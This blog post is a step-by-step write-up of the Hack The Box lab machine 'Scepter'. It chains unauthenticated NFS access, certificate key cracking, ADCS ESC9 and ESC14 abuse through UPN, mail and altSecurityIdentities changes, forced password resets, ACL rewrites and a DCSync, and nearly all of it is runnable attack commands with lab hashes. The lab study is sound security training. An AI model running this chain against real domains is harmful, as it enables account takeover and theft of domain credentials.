walkthroughs

HTB Scepter Walkthrough: NFS, ESC9, ESC14 and DCSync

HTB Scepter Walkthrough: NFS, ESC9, ESC14 and DCSync

Complete WriteUp at Hack The Box Scepter: NFS, PFX/PEM certificates, ADCS ESC9, ESC14, altSecurityIdentities and final DCSync.

  • Posted on 2026-06-30
  • Reading time: 5 min

HTB Scepter — Walkthrough - Complete WriteUp Hack The Box(HTB) #

difficulty: Hard
OS: Windows / Active Directory
Main techniques: NFS unauthenticated, PFX/PEM cracking, ESC9, ESC14, altSecurityIdentities, DCSync


Recon #

Nmap #

bash
nmap -p- --min-rate 10000 10.10.11.65
nmap -p 53,88,111,135,139,389,445,464,593,636,2049,5985,5986,9389 -sCV 10.10.11.65

Relevant ports:

  • 53 — DNS
  • 88 — Kerberos
  • 111 RPC / portmapper
  • 389/636 — LDAP/LDAPS
  • 445 — SMB
  • 2049 NFS ← first vector to explore
  • 5985/5986 — WinRM

The port combination 111 (portmapper) + 2049 (NFS) is a direct signal: an exposed NFS share exists. It is listed immediately.

The dominance scepter.htb and the hostname DC01 emerge from the LDAP output. Let's manually add the following to the hosts directory:

bash
sudo nano /etc/hosts
# aggiungere: 10.10.11.65  dc01.scepter.htb scepter.htb DC01

NFS — TCP 2049 #

NFS (Network File System) is a protocol that allows you to mount remote file systems. It's unusual to find it open on a Windows DC—when it's there, it's always worth checking to see what it exposes.

bash
showmount -e dc01.scepter.htb
text
Export list for dc01.scepter.htb:
/helpdesk (everyone)

Accessible to everyone, without authentication. We install it:

bash
sudo mount -t nfs dc01.scepter.htb:/helpdesk /mnt
ls -l /mnt/
text
baker.crt
baker.key
clark.pfx
lewis.pfx
scott.pfx

Certificates and private keys for four users. We'll copy everything locally:

bash
cp /mnt/* .
sudo umount /mnt

Certificate Analysis #

baker.crt — clear text #

bash
openssl x509 -in baker.crt -noout -text

The certificate exposes the user's identity:

text
subject=CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=CN=scepter-DC01-CA

baker.key It is encrypted (PKCS#8 with password).

clark / lewis / scott — PFX revoked #

Let's try using them directly with certipy:

bash
certipy auth -pfx clark.pfx -dc-ip 10.10.11.65 -domain scepter.htb

Failed — clark, lewis, and scott's certificates have been revoked by the CA. They cannot be used for authentication.

It is baker - has .crt e .key separated, not revoked.


Cracking the baker.key key #

baker.key It's a PKCS#8 encryption. We use pem2john to extract the hash:

bash
pem2john.py baker.key > baker.hash

The generated hash has an extra prefix ($pbkdf2$sha256$aes256_cbc) which must be removed before passing it to hashcat. The correct format corresponds to the mode 24420 (PKCS#8 Private Keys, PBKDF2-HMAC-SHA256):

bash
hashcat baker.hash rockyou.txt -m 24420

Password found: newpassword

Same result for the PFX of the other three (crackable with John but useless because revoked):

bash
pfx2john.py clark.pfx > pfx.hashes
pfx2john.py lewis.pfx >> pfx.hashes
pfx2john.py scott.pfx >> pfx.hashes
john pfx.hashes --wordlist=rockyou.txt
# newpassword per tutti e tre

Auth as d.baker #

Now that we have the password of baker.key, we can combine it with baker.crt to create a usable PFX:

bash
openssl pkcs12 -inkey baker.key -in baker.crt -export -out baker.pfx
# inserire la password: newpassword

We use certipy to authenticate via PKINIT and get the TGT + NT hash:

bash
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username d.baker

Output:

text
[*] Got TGT
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

Verify:

bash
netexec smb dc01.scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
# [+] scepter.htb\d.baker

AD Enumeration — BloodHound #

bash
netexec ldap dc01.scepter.htb -u d.baker \
  -H 18b5fb0d99e7a475316213c15b6f22ce \
  --bloodhound -c All

BloodHound shows that the only path to Domain Admin is through p.adams, who is a member of Replication Operators — the group that allows you to run DCSync.

We also look at the groups of h.brown via direct LDAP query:

bash
netexec ldap 10.10.11.65 -u d.baker \
  -H 18b5fb0d99e7a475316213c15b6f22ce \
  --query "(sAMAccountName=h.brown)" ""

Relevant output:

text
memberOf   CN=CMS,CN=Users,DC=scepter,DC=htb
           CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
           CN=Protected Users,CN=Users,DC=scepter,DC=htb
           CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb

h.brown it is in Protected Users — Blocks NTLM authentication. Kerberos is required. It is also in Remote Management Users, so with a valid TGT we can use WinRM.


Shell like h.brown — ESC9 #

Theory #

The template StaffAccessCertificate has the flag SubjectRequireEmail e SubjectAltRequireEmailThis means that the email address of the user requesting the certificate is included in the certificate. If we change the UPN of d.baker to make it look like h.brown, the requested certificate will contain the identity of h.brown.

This is ESC9: flag abuse SubjectAltRequireEmail combined with the ability to change a third-party user's UPN.

For the full theory: ESC9 — ADCS

Permission chain #

BloodHound shows that:

  • d.baker can change the password of a.carter
  • a.carter has WriteProperty on the OU Staff Access Certificate
  • From the OU you can change the attribute userPrincipalName di d.baker

Feat #

Change a.carter's password:

bash
pth-net rpc password "a.carter" "newPassword2022" \
  -U "scepter.htb"/"d.baker"%"aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce" \
  -S "dc01.scepter.htb"

FullControl to a.carter on the OU:

bash
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
  -principal 'a.carter' \
  -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' \
  'scepter.htb'/'a.carter':'newPassword2022'

UPN by d.baker → h.brown:

bash
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
  -user d.baker -upn 'h.brown' -dc-ip 10.10.11.65

Email from d.baker:

bash
bloodyAD --host 10.10.11.65 -d scepter.htb -u a.carter -p 'newPassword2022' \
  set object d.baker mail -v 'h.brown@scepter.htb'

Certificate Request:

bash
certipy-ad req -u 'd.baker@scepter.htb' \
  -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
  -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' \
  -dc-ip 10.10.11.65 -target-ip 10.10.11.65

Reset UPN (essential — if you don't do this the DC will conflict):

bash
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
  -user d.baker -upn 'd.baker' -dc-ip 10.10.11.65

Auth as h.brown:

bash
certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 \
  -ns 10.10.11.65 -domain scepter.htb -username h.brown

TGT + NT hash of h.brown. h.brown it is in Protected Users — NTLM blocked, PTH not working. Kerberos is required.

Let's export the cache and use evil-winrm with Kerberos authentication:

bash
export KRB5CCNAME=h.brown.ccache
evil-winrm -i SCEPTER.HTB -r DC01.SCEPTER.HTB

Once inside, filesystem enumeration yields nothing useful. The next vector returns to the certificates, not the local system. User flag in h.brown's home.


Privilege Escalation — ESC14 (altSecurityIdentities) #

Enumeration with bloodyAD #

BloodHound does not show useful paths from h.brownWe use bloodyAD get writable --detail — more granular than BloodHound because it queries LDAP directly and displays individual writable attributes:

bash
KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb \
  -d scepter.htb -k get writable --detail

In the result:

text
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

h.brown can write altSecurityIdentities su p.adams.

Let's check the current status of p.adams:

bash
netexec ldap 10.10.11.65 -u d.baker \
  -H 18b5fb0d99e7a475316213c15b6f22ce \
  --query "(sAMAccountName=p.adams)" ""

altSecurityIdentities It's empty. Perfect—we can write whatever we want.

What is altSecurityIdentities? #

altSecurityIdentities It's an AD attribute that allows you to map external identities to a user for authentication. It essentially tells the DC: "If someone shows up with this identity, treat them as this user."

It supports several formats:

FormatExample
Email (RFC822)X509:<RFC822>utente@dominio
Subject DNX509:<S>CN=utente,DC=dominio
Issuer+SubjectX509:<I>CN=CA<S>CN=utente
Thumbprint (SKI)X509:<SKI>abc123...

In this case we use the format RFC822 (email), because that's what we include in the certificate via the attribute mail di d.baker.

This is ESC14: write on altSecurityIdentities + control over a user who can request certificates = impersonation.

For detailed explanation: ADCS ESC1–ESC16

Feat #

Let's write the mapping on p.adams:

bash
KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb \
  -d scepter.htb -k set object p.adams altSecurityIdentities \
  -v 'X509:<RFC822>p.adams@scepter.htb'

Let's reset a.carter (if the machine cleanup reset the previous changes):

bash
pth-net rpc password "a.carter" "newPassword2022" \
  -U "scepter.htb"/"d.baker"%"aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce" \
  -S "dc01.scepter.htb"

dacledit.py -action 'write' -rights 'FullControl' -inheritance \
  -principal 'a.carter' \
  -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' \
  'scepter.htb'/'a.carter':'newPassword2022'

UPN by d.baker → p.adams:

bash
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
  -user d.baker -upn 'p.adams' -dc-ip 10.10.11.65

Verify that the UPN has been updated:

bash
ldapsearch -H ldap://10.10.11.65 \
  -D 'CN=a.carter,CN=Users,DC=scepter,DC=htb' -w newPassword2022 \
  -b 'DC=scepter,DC=htb' '(sAMAccountName=d.baker)' userPrincipalName

d.baker's email = same value as written in altSecurityIdentities (must match):

bash
bloodyAD --host 10.10.11.65 -d scepter.htb -u a.carter -p 'newPassword2022' \
  set object d.baker mail -v 'p.adams@scepter.htb'

Certificate Request:

bash
certipy-ad req -u 'd.baker@scepter.htb' \
  -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
  -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' \
  -dc-ip 10.10.11.65 -target-ip 10.10.11.65

Reset UPN:

bash
certipy-ad account update -u 'a.carter@scepter.htb' -p 'newPassword2022' \
  -user d.baker -upn 'd.baker' -dc-ip 10.10.11.65

Auth as p.adams:

bash
certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 \
  -ns 10.10.11.65 -domain scepter.htb -username p.adams
text
[*] Got TGT
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

How it works: the certificate mail (p.adams@scepter.htb) corresponds to the value written in altSecurityIdentities → the DC does the mapping → authenticates as p.adams.


DCSync → Domain Compromise #

p.adams it is in Replication Operators — can perform DCSync, i.e. request all hashes from the DC as if it were a secondary domain controller.

bash
secretsdump.py -just-dc-ntlm 'scepter.htb'/'p.adams' \
  -hashes ':1b925c524f447bb821a8789c4b118ce0' \
  @dc01.scepter.htb

Hash Administrator → PTH:

bash
evil-winrm -i dc01.scepter.htb -u Administrator -H <hash>

Root flag.


Resources #

#hackthebox #htb walkthrough #htb writeup

leave a message

I'm not a robot